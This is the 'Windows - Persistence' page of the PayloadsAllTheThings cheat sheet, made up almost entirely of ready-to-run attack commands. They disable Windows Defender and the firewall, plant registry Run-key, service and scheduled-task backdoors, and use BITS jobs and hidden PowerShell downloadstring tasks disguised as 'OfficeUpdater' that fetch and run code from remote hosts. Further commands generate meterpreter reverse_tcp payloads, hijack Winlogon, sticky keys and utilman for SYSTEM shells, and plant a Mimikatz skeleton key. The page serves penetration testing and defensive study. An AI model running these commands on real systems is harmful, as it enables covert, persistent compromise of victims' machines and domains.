PayloadsAllTheThings/Methodology and Resources/Windows - Persistence.md

Windows - Persistence

Summary

• Tools
• Disable Windows Defender
• Disable Windows Firewall
• Simple User
  • Registry HKCU
  • Startup
  • Scheduled Tasks User
  • BITS Jobs
• Serviceland
  • IIS
  • Windows Service
• Elevated
  • Registry HKLM
    • Winlogon Helper DLL
    • GlobalFlag
  • Services Elevated
  • Scheduled Tasks Elevated
  • Binary Replacement
    • Binary Replacement on Windows XP+
    • Binary Replacement on Windows 10+
  • RDP Backdoor
    • utilman.exe
    • sethc.exe
  • Skeleton Key
• References

Tools

• SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r

Disable Windows Defender

sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true

Disable Windows Firewall

Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off

# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP

Simple User

Set a file as hidden

attrib +h c:\autoexec.bat

Registry HKCU

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe

Using the command line

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"

Using SharPersist

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Startup

Create a batch script in the user startup folder.

PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe

Using SharPersist

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Scheduled Tasks User

PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D

Using SharPersist

# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly

BITS Jobs

bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe"  "C:\tmp\evil.exe"

# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor

# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor

Serviceland

IIS

IIS Raid – Backdooring IIS Using Native Modules

$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true

Windows Service

Using SharPersist

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Elevated

Registry HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe

Using the command line

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"

Winlogon Helper DLL

Run executable during Windows logon

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force

GlobalFlag

Run executable after notepad is killed

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"

Services Elevated

Create a service that will start automatically or on-demand.

# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab

# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add

# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor

Scheduled Tasks Elevated

Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.

Processes spawned as scheduled tasks have taskeng.exe process as their parent

# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D

# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password

##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
 
##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
 
##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
 
##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
 
##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
 
##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

Binary Replacement

Binary Replacement on Windows XP+

Feature	Executable
Sticky Keys	C:\Windows\System32\sethc.exe
Accessibility Menu	C:\Windows\System32\utilman.exe
On-Screen Keyboard	C:\Windows\System32\osk.exe
Magnifier	C:\Windows\System32\Magnify.exe
Narrator	C:\Windows\System32\Narrator.exe
Display Switcher	C:\Windows\System32\DisplaySwitch.exe
App Switcher	C:\Windows\System32\AtBroker.exe

In Metasploit : use post/windows/manage/sticky_keys

Binary Replacement on Windows 10+

Exploit a DLL hijacking vulnerability in the On-Screen Keyboard osk.exe executable.

Create a malicious HID.dll in C:\Program Files\Common Files\microsoft shared\ink\HID.dll.

RDP Backdoor

utilman.exe

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

sethc.exe

Hit F5 a bunch of times when you are at the RDP login screen.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Skeleton Key

# Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>

# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator

References

• A view of persistence - Rastamouse
• Windows Persistence Commands - Pwn Wiki
• SharPersist Windows Persistence Toolkit in C - Brett Hawkins
• IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020
• Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa
• Persistence - Checklist - @netbiosX
• Persistence – Winlogon Helper DLL - @netbiosX
• Persistence - BITS Jobs - @netbiosX
• Persistence – Image File Execution Options Injection - @netbiosX
• Persistence – Registry Run Keys - @netbiosX